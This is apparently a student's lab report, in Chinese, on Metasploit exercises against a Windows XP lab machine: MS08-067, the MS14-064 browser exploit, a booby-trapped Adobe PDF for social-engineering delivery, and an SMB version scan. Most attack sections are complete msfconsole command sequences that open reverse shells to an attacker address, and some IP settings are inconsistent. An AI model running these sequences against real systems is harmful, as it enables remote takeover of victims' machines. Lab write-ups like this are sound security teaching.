1. 实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1.1一个主动攻击实践,如ms08_067;
1.2 一个针对浏览器的攻击,如ms11_050;
1.3 一个针对客户端的攻击,如Adobe;
1.4 成功应用任何一个辅助模块。
2.实验具体操作与截图
2.1主动攻击实践
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行。
攻击者试探靶机是否存在 ms08_067 这个漏洞 nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.0.108。
查看到靶机的版本信息。
查到靶机确实存在该漏洞。
输入指令 msfconsole
进入控制台,使用指令 search ms08_067
指令查询一下针对该漏洞能够运用的攻击模块。
输入指令 use exploit/windows/smb/ms08_067_netapi
进入该攻击模块,使用 show payloads
查看能够使用的攻击载荷。
选择 shell_reverse_tcp
,输入指令 set payload generic/shell_reverse_tcp
设置 payload 为反向 tcp 连接。
显示连接需要设置的参数 show options。
然后部署 payload 参数
set
RHOST 192.168.0.108
//设置靶机IP
set
LPORT 4305
//设置攻击机端口
set
LHOST 192.168.0.114
//设置攻击机IP
exploit
可以使用 systeminfo
来查看靶机的系统信息,关于计算机及其操作系统的详细配置信息,包括操作系统配置、安全信息、产品 ID 和硬件属性,RAM、磁盘空间和网卡等。如上图所示。
2.2针对浏览器的攻击
MS14_064漏洞
MS14_064漏洞是Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。远程攻击者利用此漏洞构造的网址执行任意代码,能够影响Win95+IE3—Win10+IE11的全版本。
use exploit/windows/browser/ms14_064_ole_code_execution
set payload windows/meterpreter/reverse_tcp
set SRVHOST 192.168.0.108
set AllowPowerShellPrompt 1
set LHOST 192.168.0.108
set LPORT 4305
set target 0
exploit
在XP系统中输入上图的URL。
XP端完成打开网页后,在kali中【Ctrl+C】退出当前进程,输入seesions,可以看到建立了会话。
输入sessions -i 1获得第一个会话的链接,输入ipconfig,可以看到攻击成功。
2.3针对客户端的攻击
Adobe攻击
Adobe攻击主要是通过社会工程学将文档发送给用户,打开文档就会触发恶意漏洞。
打开msf输入以下指令。
use windows/fileformat/adobe_cooltype_sing
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.108
set LPORT 4305
set FILENAME 20174305.pdf
exploit
将生成的PDF文件复制到XP系统内,输入以下指令进入监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.152.108
exploit
在靶机中用Adobe打开PDF文件,返回攻击端,输入ipconfig,发现回连成功。
2.4辅助模块的应用
我使用的是scanner/smb/smb_version
,用来对靶机的smb
版本进行扫描。
设置靶机的IP地址(也可以设置要扫描的一段范围),以及扫描使用的线程:
使用exploit
指令开始扫描,成功扫描到靶机的smb
版本:
3.问题回答
用自己的话解释什么是exploit,payload,encode?
exploit:是指攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞所进行的攻击行为, 包括利用缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。按照所利用的安全漏洞所在的位置分为主动渗透攻击(攻击某个系统服务),被动渗透攻击(攻击某个客户端应用)。
payload:目标系统在被渗透攻击之后去执行的代码一段指令或称为shellcode。
encode:编码器,确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”;改变特征码,对攻击载荷进行“免杀”处理.
4.离实战还缺些什么技术或步骤?
可以很明显的感觉到距离实战还是遥远的,我现在学习的东西还只是最基础的皮毛,真正投入到实战肯定还是不够用的,真正的实战可能不只是需要对msf的熟练应用、牢固掌握,还需要对新型漏洞有所了解,因为我们实验过程中针对的漏洞都是老版本了,还需要利用社会工程学的手段等等才能进行实施攻击。
5.实验心得
通过这次实验我初步掌握了一点儿msf的用法,但是发现自己对msf的了解还不够,对于一些指令的理解也不透彻。希望通过下次实验进一步提高自己的操作水平。除此之外,漏洞无处不在,漏洞的修补也紧随其后。程序员们是真的辛苦,黑客也真的很强。
不过我们平时运用的软件和系统漏洞应该是很少的,不足以致命。今后我们应该防微杜渐,谨小慎微,不给他人可乘之机。